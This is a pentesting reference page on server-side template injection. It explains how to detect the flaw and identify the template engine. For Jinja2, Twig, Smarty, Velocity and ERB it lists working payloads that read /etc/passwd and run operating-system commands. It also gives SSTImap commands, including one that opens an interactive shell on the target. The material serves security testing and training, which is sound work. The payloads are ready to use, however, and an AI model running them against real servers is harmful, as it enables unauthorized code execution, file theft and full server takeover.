> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Server Side Template Injection (SSTI)

Server side Template Injection (SSTI) occurs when an attacker can inject templating code into a template that is later rendered by the server. If an attacker injects malicious code, the server may execute the code during the rendering process, allowing the attacker to take complete control of the server.

***

## Confirming SSTI

The process of identifying an SSTI vulnerability is similar to the process of identifying any other injection vulnerability, such as SQL injection. The most effective way is to inject special characters with semantic meaning in template engines and observe the web application's behavior. The following polyglot test string is commonly used to provoke an error message in a web application vulnerable to SSTI, as it consists of all special characters that have a particular semantic purpose in popular template engines:

```text theme={null}
${{<%[%'"}}%\.
```

If you get an error (a stack trace, a 500, or any failing output), it's a good indicator for a SSTI Injection. From there, test with something that proves code execution rather than just a parsing error:

```text theme={null}
{{7*7}}
```

If `49` comes back in the response, you've got SSTI. Before exploiting further, you need to identify which template engine is in use, payloads are **not** portable between various engines.

***

## Identifying the Template Engine

We can use slight variations in the behavior of different template engines to determine which one is in use. Each delimiter style and math operator narrows down the possible engine:

![Template Decision Tree](https://mintcdn.com/0xdev/tYJZVt6NM2Rcv5EC/images/techniques/server-side-template-injection/template-decision-tree.png?fit=max\&auto=format\&n=tYJZVt6NM2Rcv5EC\&q=85\&s=178f6f01c706c24d1f3e1d244427ffc8)

Once you have a possible engine, jump to its tab below.

## Template Engines

> [tab] Jinja2 (Python)
>
> ```text theme={null}
> # Confirm
> {{7*7}}
>
> # Internal config / app info
> {{ config.items() }}
>
> # Local File Inclusion
> {{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
>
> # Remote Code Execution
> {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
>
> # Alternative RCE if __builtins__ is filtered
> {{ cycler.__init__.__globals__.os.popen('id').read() }}
> {{ joiner.__init__.__globals__.os.popen('id').read() }}
> ```
>
> Check [PayloadsAllTheThings: Jinja2](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Python/#jinja2) for more techniques

> [tab] Twig (PHP)
>
> ```text theme={null}
> # Confirm
> {{7*'7'}}
>
> # Local file inclusion
> {{ "/etc/passwd"|file_excerpt(1,-1) }}
>
> # Remote Code Execution
> {{ ['id'] | filter('system') }}
>
> # Alternative RCE (registers a filter callback)
> {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
> ```
>
> Check [PayloadsAllTheThings: Twig](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/PHP/#twig) for more techniques.

> [tab] Smarty (PHP)
>
> ```text theme={null}
> # Confirm
> {$smarty.version}
> {7*7}
>
> # RCE (deprecated in Smarty v3, removed in v5 — still common on older apps)
> {php}echo `id`;{/php}
> {system('id')}
>
> # RCE via filter obfuscation (works on newer, hardened versions)
> {{['id']|filter('system')}}
> {{['cat$IFS/etc/passwd']|filter('system')}}
> ```
>
> Check [PayloadsAllTheThings: Smarty](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/PHP/#smarty) for the full obfuscation set, including the boolean/time-based blind variants.

> [tab] Velocity (Java)
>
> ```text theme={null}
> # Confirm
> #set($x=7*7)$x
>
> # RCE via Runtime
> #set($e="e")
> $e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass().forName("[Ljava.lang.String;")).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),[["id"] as String[]])
>
> # Simpler form if direct class access is allowed
> #set($process=$runtime.exec("id"))
> #set($null=$process.waitFor())
> ```
>
> Check [PayloadsAllTheThings: Velocity](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/PHP/#twig) for more techniques.

> [tab] ERB (Ruby)
>
> ```text theme={null}
> # Confirm
> <%= 7*7 %>
>
> # RCE
> <%= system("id") %>
> <%= `id` %>
> <%= IO.popen('id').read() %>
>
> # Local file read
> <%= File.read('/etc/passwd') %>
> ```
>
> Also check for Erubi, Erubis, HAML, and Slim, they share the same universal Ruby payload class since the underlying language is still Ruby. See [PayloadsAllTheThings: Ruby](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Ruby/) for engine-specific wrapping.

***

## Automated Tools

[**SSTImap**  ](https://github.com/vladko312/SSTImap)identifies the engine and automates exploitation (file read, command execution, interactive shell and more..)

```shellscript theme={null}
# Scan for SSTI
./sstimap.py -u https://example.com/page?name=John

# Run a single command
python3 sstimap.py -u https://example.com?name=test -S id

# Drop into an interactive shell
python3 sstimap.py -u https://example.com?name=test --os-shell

# Check the help menu (-h) for the full flag list
```

[**Tplmap** ](https://github.com/epinna/tplmap)is an older, Python2 only alternative with similar functionality.

***

## Quick Reference Tools

> [card] [SSTImap](https://github.com/vladko312/SSTImap)
>
> Detects the engine and automates exploitation across Jinja2, Twig, Mako, Freemarker, and more.

> [card] [tplmap](https://github.com/epinna/tplmap)
>
> Older Python 2 SSTI automation tool, still useful as a fallback.

> [card] [PayloadsAllTheThings: SSTI](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/)
>
> Per-language payload breakdown (Python, PHP, Java, Ruby, JavaScript) with sandbox-bypass chains.

> [card] [HackTricks: SSTI](https://hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html)
>
> Broader engine coverage including less common ones (Pebble, Thymeleaf, Mako, Tornado).

> [card] [PortSwigger: SSTI](https://portswigger.net/web-security/server-side-template-injection)
>
> Methodology writeup and Academy labs for practicing detection and exploitation.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.